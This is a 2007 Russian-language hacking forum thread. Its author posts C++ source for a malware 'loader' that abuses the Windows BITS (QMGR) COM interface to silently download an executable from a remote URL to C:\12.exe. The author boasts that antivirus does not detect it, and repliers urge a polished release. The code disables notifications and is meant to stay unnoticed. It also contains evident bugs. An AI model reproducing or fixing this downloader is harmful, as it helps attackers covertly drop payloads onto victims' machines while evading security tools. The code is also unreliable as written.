loader через QMGR интерфейс

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Ky3bMu4, 17 Sep 2007.

  1. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Помоему этого ещё никто не делал. :) Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак:
    Code:
    #define _WIN32_WINNT  0x0500
    #include "QMGR.h"
    #define UNICODE
    #pragma comment(linker,"/ENTRY:WinMain")
    #pragma comment(linker,"/SECTION:.text,EWR") 
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPTSTR    lpCmdLine,
                         int       nCmdShow)
    {
    IBackgroundCopyQMgr* man=NULL;
    IBackgroundCopyGroup* gr=NULL;
    IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
    FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESETINFO));
    GUID grID,jbID;
    VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
    CoCreateGuid(&grID);
    CoCreateGuid(&jbID);
    BSTR local = BSTR("C:\\12.exe");
    BSTR rem = BSTR("http://site/1.exe");
    file->bstrLocalFile=local;
    file->bstrRemoteFile=rem;
    file->dwSizeHint=10000;
    HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if(SUCCEEDED(h)){ 
    h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
                            CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER,
                            __uuidof(IBackgroundCopyQMgr),
                            (void**) &man);
     if(SUCCEEDED(h)){
    	 if(man->CreateGroup(grID,&gr)!=S_OK){
    		 MessageBoxA(0,"CrGr","Error!",0);
    		 ExitProcess(0);
    	 }
     gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
    	  gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
    	   gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
    	    gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
    		 gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
    		  gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");
    
    		   gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
    		    gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
    			 gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
    			  gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
    			   gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
    			    gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
    				 gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
    	 if(gr->CreateJob(jbID,&jb)!=S_OK){
    		 MessageBoxA(0,"CrJb","Error!",0);
    		ExitProcess(0);
    	 }
    	 if(jb->AddFiles(0,&file)!=S_OK){
    		 MessageBoxA(0,"AddFiles","Error!",0);
    		 ExitProcess(0);
    	 }
    	 if(gr->ResumeGroup()!=S_OK){
    		  MessageBoxA(0,"Resume","Error!",0);
    		 ExitProcess(0);
    	 }
    	 
    Sleep(10000); //ламо было заниматься получение статуса и т.д.
    
    }
    }
    jb->Release();
    gr->CancelGroup();
    
    ExitProcess(0);
    }
    
    Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx
     
    1 person likes this.
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    > Помоему этого ещё никто не делал

    конечно не делал, приватный способ имхо!
     
  3. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Ну раз так...
     
    1 person likes this.
  4. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    >>Помоему этого ещё никто не делал.
    Давай чтонибудь поновее релизь.
     
  5. n0153r

    n0153r Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    260
    Likes Received:
    92
    Reputations:
    11
    Герой :) Ловим +1 в репу.
    Но давай организуй норм лодер :)
    Нужно доводить релиз до норм вида.
     
    #5 n0153r, 17 Sep 2007
    Last edited: 17 Sep 2007